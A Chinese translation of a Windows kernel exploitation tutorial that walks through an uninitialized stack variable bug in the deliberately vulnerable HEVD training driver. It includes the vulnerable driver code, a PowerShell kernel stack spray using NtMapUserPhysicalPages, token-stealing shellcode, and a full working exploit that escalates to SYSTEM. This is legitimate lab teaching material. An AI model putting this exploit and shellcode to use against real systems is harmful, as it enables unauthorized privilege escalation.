windows内核exploit训练项目HackSysExtremeVulnerableDriver(HEVD)-未初始化栈变量

来源:互联网 发布:smap关系 知乎 编辑:程序博客网 时间:2024/06/05 09:04

Hola,欢迎回到Windows exploit开发系列教程的第13部分。今天我们将利用@HackSysTeam的有漏洞的驱动程序来exploit一个未初始化的内核栈变量漏洞。有关设置调试环境的更多详细信息,请参阅第10部分。让我们来吧!
资源
+ NtMapUserPhysicalPages和内核栈喷射技术(@j00ru) - 这里

应对挑战

我们来看看有关存在漏洞的函数的一部分(这里)。

NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) {    ULONG UserValue = 0;    ULONG MagicValue = 0xBAD0B0B0;    NTSTATUS Status = STATUS_SUCCESS;#ifdef SECURE    // Secure Note: This is secure because the developer is properly initializing    // UNINITIALIZED_STACK_VARIABLE to NULL and checks for NULL pointer before calling    // the callback    UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable = {0};#else    // Vulnerability Note: This is a vanilla Uninitialized Stack Variable vulnerability    // because the developer is not initializing 'UNINITIALIZED_STACK_VARIABLE' structure    // before calling the callback when 'MagicValue' does not match 'UserValue'    UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable;#endif    PAGED_CODE();    __try {        // Verify if the buffer resides in user mode        ProbeForRead(UserBuffer,                     sizeof(UNINITIALIZED_STACK_VARIABLE),                     (ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE));        // Get the value from user mode        UserValue = *(PULONG)UserBuffer;        DbgPrint("[+] UserValue: 0x%p\n", UserValue);        DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);        // Validate the magic value        if (UserValue == MagicValue) {            UninitializedStackVariable.Value = UserValue;            UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback;        }        DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);        DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);#ifndef SECURE        DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");#endif        // Call the callback function        if (UninitializedStackVariable.Callback) {            UninitializedStackVariable.Callback();        }    }    __except (EXCEPTION_EXECUTE_HANDLER) {        Status = GetExceptionCode();        DbgPrint("[-] Exception Code: 0x%X\n", Status);    }    return Status;}

如果我们传递给驱动程序函数正确的魔术值,那么它将初始化变量和回调参数。如果我们传递不正确的值,那么这不会发生。这里的问题是在定义变量时没有将其设置为特定值。由于变量驻留在栈中,它将包含以前的函数调用留下的随机的垃圾值。请注意,该代码有一个检查(if UninitializedStackVariable.Callback …),但是它不会阻止程序崩溃。该函数的IOCTL是0x22202F。要查看IOCTL如何识别,请查看本系列的第10部分和第11部分。让我们打开IDA,看看这个函数。
这里写图片描述
让我们考虑上面图片中的4个功能块。如果比较成功,那么我们会执行绿色块,我们的变量被设置为适当的值,然后在调用回调函数的红色块中不会发生任何错误。
这里写图片描述
不过,如果我们比较失败,会跳过绿色块,最终会调用当时刚好在内核栈上的任何可能的垃圾!
这里写图片描述
这个数据是不稳定的,如果你尝试复现,你可能会在WinDbg中看到不同的值。在我们触发BSOD之前,让我们快速看看这个变量与我们当前栈的开始有多远。
这里写图片描述
要获得与错误指针的距离,我们执行以下运算。
0x8a15ced0-0x8a15c9cc=0x504(1284字节)
让我们通过恢复执行流程来触发BSOD。
这里写图片描述

Pwn!

NtMapUserPhysicalPages

如果我们可以使用指向shellcode的指针覆盖内核栈上的IntPtr就OK了,但是我们应该怎么做呢?内核堆喷射是一种方法,我强烈建议你阅读@j00ru写的这篇文章。有一个无文档的函数NtMapUserPhysicalPages,我们并不关心它的作用,但作为其功能的一部分,它将输入字节复制到内核栈上的本地缓冲区中。可以复制的最大大小是1024*IntPtr::Size(32位机器上是4个字节)=4096个字节,完美符合我们的需求。以下POC可以用来说明这一点!

Add-Type -TypeDefinition @"using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Security.Principal;public static class EVD{    [DllImport("ntdll.dll")]    public static extern uint NtMapUserPhysicalPages(        IntPtr BaseAddress,        UInt32 NumberOfPages,        Byte[] PageFrameNumbers);}"@# $KernelStackSpray = 4*1024$KernelStackSpray = [System.BitConverter]::GetBytes(0xdeadb33f) * 1024# This call will fail with NTSTATUS = 0xC00000EF (STATUS_INVALID_PARAMETER_1),# however, by that time the buffer is already on the Kernel stack ;)[EVD]::NtMapUserPhysicalPages([IntPtr]::Zero, 1024, $KernelStackSpray) |Out-Null

我们在NtMapUserPhysicalPages返回时设置一个断点,运行我们的POC并检查内核栈。
这里写图片描述
完美!在NtMapUserPhysicalPages返回之后栈应该已被设置,所以当调用驱动函数时,我们可以破坏未初始化的栈变量。请注意,喷射不是连续的,看了一下之后,我发现栈上有相当大的块,但是它们被分割为(我假定)存储的值。幸运的是,我们需要的偏移似乎是完整的。要牢记的一个关键点是栈是易失的,因此最好刚好在触发bug之前喷射,并尽可能少地执行其它操作,以避免缓冲区被破坏!

shellcode

再次,我们在这里重写一个函数调用,所以我们可以重用上一个部分的窃取token的shellcode而不进行任何修改。

$Shellcode = [Byte[]] @(    #---[Setup]    0x60,                               # pushad    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]    #---[Copy System PID token]    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |    0x75, 0xED,                         # jnz                           ->|    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx    #---[Recover]    0x61,                               # popad    0xC3                                # ret)

安装

我们的exploit工作流程将如下:(1)将shellcode放在内存中(2)使用指向我们的shellcode的指针喷射内核栈(3)触发未初始化变量漏洞。

游戏结束

我们应该已经覆盖了整个过程,请参阅下面的完整的exploit以获取更多信息。

Add-Type -TypeDefinition @"using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Security.Principal;public static class EVD{    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]    public static extern IntPtr CreateFile(        String lpFileName,        UInt32 dwDesiredAccess,        UInt32 dwShareMode,        IntPtr lpSecurityAttributes,        UInt32 dwCreationDisposition,        UInt32 dwFlagsAndAttributes,        IntPtr hTemplateFile);      [DllImport("Kernel32.dll", SetLastError = true)]    public static extern bool DeviceIoControl(        IntPtr hDevice,        int IoControlCode,        byte[] InBuffer,        int nInBufferSize,        byte[] OutBuffer,        int nOutBufferSize,        ref int pBytesReturned,        IntPtr Overlapped);    [DllImport("kernel32.dll", SetLastError = true)]    public static extern IntPtr VirtualAlloc(        IntPtr lpAddress,        uint dwSize,        UInt32 flAllocationType,        UInt32 flProtect);      [DllImport("ntdll.dll")]    public static extern uint NtMapUserPhysicalPages(        IntPtr BaseAddress,        UInt32 NumberOfPages,        Byte[] PageFrameNumbers);}"@# Compiled with Keystone-Engine# Hardcoded offsets for Win7 x86 SP1$Shellcode = [Byte[]] @(    #---[Setup]    0x60,                               # pushad    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]    #---[Copy System PID token]    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |    0x75, 0xED,                         # jnz                           ->|    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx    #---[Recover]    0x61,                               # popad    0xC3                                # ret)# Write shellcode to memoryecho "`n[>] Allocating ring0 payload.."[IntPtr]$ShellcodePtr = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $ShellcodePtr, $Shellcode.Length)echo "[+] Payload size: $($Shellcode.Length)"echo "[+] Payload address: 0x$("{0:X8}" -f $ShellcodePtr.ToInt32())"$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)if ($hDevice -eq -1) {    echo "`n[!] Unable to get driver handle..`n"    Return} else {    echo "`n[>] Driver information.."    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"    echo "[+] Handle: $hDevice"}# j00ru -> nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques# Shellocde IntPtr spray..$KernelStackSpray = [System.BitConverter]::GetBytes($ShellcodePtr.ToInt32()) * 1024echo "`n[>] Kernel stack spray.."echo "[+] Spray buffer: $(1024*[IntPtr]::Size)"echo "[+] Payload size: $([IntPtr]::Size)`n"echo "[>] Call NtMapUserPhysicalPages & trigger bug.."echo "[+] Radio silence..`n"[EVD]::NtMapUserPhysicalPages([IntPtr]::Zero, 1024, $KernelStackSpray) |Out-Null$Buffer = [System.BitConverter]::GetBytes(0xdeadb33f)[EVD]::DeviceIoControl($hDevice, 0x22202F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

这里写图片描述
原文地址:http://www.fuzzysecurity.com/tutorials/expDev/17.html

原创粉丝点击